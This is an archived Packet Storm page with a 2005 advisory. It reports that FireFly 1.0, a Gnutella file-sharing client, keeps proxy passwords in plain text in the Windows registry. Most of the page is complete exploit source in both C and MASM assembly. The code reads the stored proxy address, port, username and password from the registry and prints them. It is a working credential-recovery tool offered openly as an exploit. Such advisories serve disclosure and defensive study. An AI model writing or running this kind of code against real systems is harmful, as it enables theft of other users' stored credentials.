what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

firefly_pass_recovery.txt

firefly_pass_recovery.txt
Posted Apr 18, 2005
Site spyinstructors.com

Firefly filetrading software version 1.0 stores proxy passwords, if configured, in a manner that leaves them vulnerable to being discovered by any other local users.

tags | exploit, local
SHA-256 | d01fc7dc93ba6ee2249f7b34a5da9cb6556b56356b3fbf0588e916958900176b

firefly_pass_recovery.txt

Change Mirror Download
---------------------
Application:
---------------------


FireFly 1.0


---------------------
Introduction:
---------------------

Vendor: NetCruiser Software
www.netcruiser-software.com

Vendor Description: Firefly is a Windows application that
allows you to share files with other users.
Firefly uses the Gnutella network, a free and open network.



---------------------
Bug:
---------------------


FireFly 1.0 stores proxy passwords
in registry with plain text format without crypting and
can be viewed by a local user.



---------------------
Vendor Confirmed:
---------------------
No.


---------------------
Fix:
---------------------
There is no solution at the time of this entry.



---------------------
Exploit:
---------------------


-------
C CODE:
-------



/*****************************************************************

FireFly v1.0 Local Exploit by Kozan

Application: FireFly v1.0
Vendor: NetCruiser Software - www.netcruiser-software.com
Vulnerable Description: FireFly v1.0 discloses proxy passwords
to local users.


Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com


*****************************************************************/


#include
#include

#define BUFSIZE 100
HKEY hKey;
char proxyaddr[BUFSIZE],
proxyport[BUFSIZE],
proxyuser[BUFSIZE],
proxypass[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;


int main(void)
{

if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\FireFly FileFinder\\GnutellaServer",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "ProxyAddr", NULL, NULL,(LPBYTE) proxyaddr, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxyaddr,"Not found!");
}
lRet = RegQueryValueEx( hKey, "ProxyPass", NULL, NULL,(LPBYTE) proxypass, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxypass,"Not found!");
}
lRet = RegQueryValueEx( hKey, "ProxyUser", NULL, NULL,(LPBYTE) proxyuser, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxyuser,"Not found!");
}
lRet = RegQueryValueEx( hKey, "ProxyPort", NULL, NULL,(LPBYTE) proxyport, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxyport,"Not found!");
}


RegCloseKey( hKey );

printf("FireFly v1.0 Local Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com\n");
printf("kozan@netmagister.com\n\n");
printf("Proxy Address : %s\n",proxyaddr);
printf("Proxy Port : %s\n",proxyport);
printf("Proxy Username : %s\n",proxyuser);
printf("Proxy Password : %s\n",proxypass);


}
else{
printf("FireFly v1.0 is not installed on your system!\n");
}


return 0;
}



---------
ASM CODE:
---------


;*****************************************************************

;FireFly v1.0 Local Exploit by Kozan

;Application: FireFly v1.0
;Vendor: NetCruiser Software - www.netcruiser-software.com
;Vulnerable Description: FireFly v1.0 discloses proxy passwords
;to local users.


;Discovered & Coded by: Kozan
;Credits to ATmaCA
;Web : www.netmagister.com
;Web2: www.spyinstructors.com
;Mail: kozan@netmagister.com

;*****************************************************************

.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\masm32.lib
literal MACRO quoted_text:VARARG
LOCAL local_text
.data
local_text db quoted_text,0
.code
EXITM
ENDM
SADD MACRO quoted_text:VARARG
EXITM
ENDM
.data
SubKey db "Software\\FireFly FileFinder\\GnutellaServer",0
szUser db "ProxyUser",0
szPass db "ProxyPass",0
szAddr db "ProxyAddr",0
szPort db "ProxyPort",0
notInstalled db "FireFly v1.0 is not installed on your pc!",0
Theoutput db '_______________________________________________________________',13,10
db '* FireFly v1.0 Local Exploit by Kozan *',13,10
db '* Discovered & Coded by Kozan *',13,10
db '* Credits to ATmaCA *',13,10
db '* www.spyinstructors.com - www.netmagister.com *',13,10
db '* kozan@netmagister.com *',13,10
db '*_____________________________________________________________*',13,10
db ' Proxy Address : %s ',13,10
db ' Proxy Port : %s ',13,10
db ' Proxy Username : %s ',13,10
db ' Proxy Password : %s ',13,10,0
KeySize DWORD 255
.data?
TheADDRData db 64 dup (?)
ThePORTData db 64 dup (?)
TheUSERData db 64 dup (?)
ThePASSData db 64 dup (?)
TheReturn DWORD ?
strbuf db 258 dup (?)
.code
start:
invoke RegOpenKeyEx, HKEY_CURRENT_USER,addr SubKey,0,KEY_READ,addr TheReturn
.IF eax==ERROR_SUCCESS
invoke RegQueryValueEx,TheReturn,addr szAddr,0,0,addr TheADDRData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr TheADDRData,SADD("Not Found!")
.ENDIF
invoke RegQueryValueEx,TheReturn,addr szUser,0,0,addr TheUSERData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr TheUSERData,SADD("Not Found!")
.ENDIF
invoke RegQueryValueEx,TheReturn,addr szPass,0,0,addr ThePASSData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr ThePASSData,SADD("Not Found!")
.ENDIF
invoke RegQueryValueEx,TheReturn,addr szPort,0,0,addr ThePORTData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr ThePORTData,SADD("Not Found!")
.ENDIF

invoke wsprintf, addr strbuf, addr Theoutput,addr TheADDRData, addr ThePORTData, addr TheUSERData, addr ThePASSData
invoke StdOut, addr strbuf
.ELSE
invoke StdOut, addr notInstalled
.ENDIF
invoke RegCloseKey , TheReturn
Invoke ExitProcess,0
end start

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close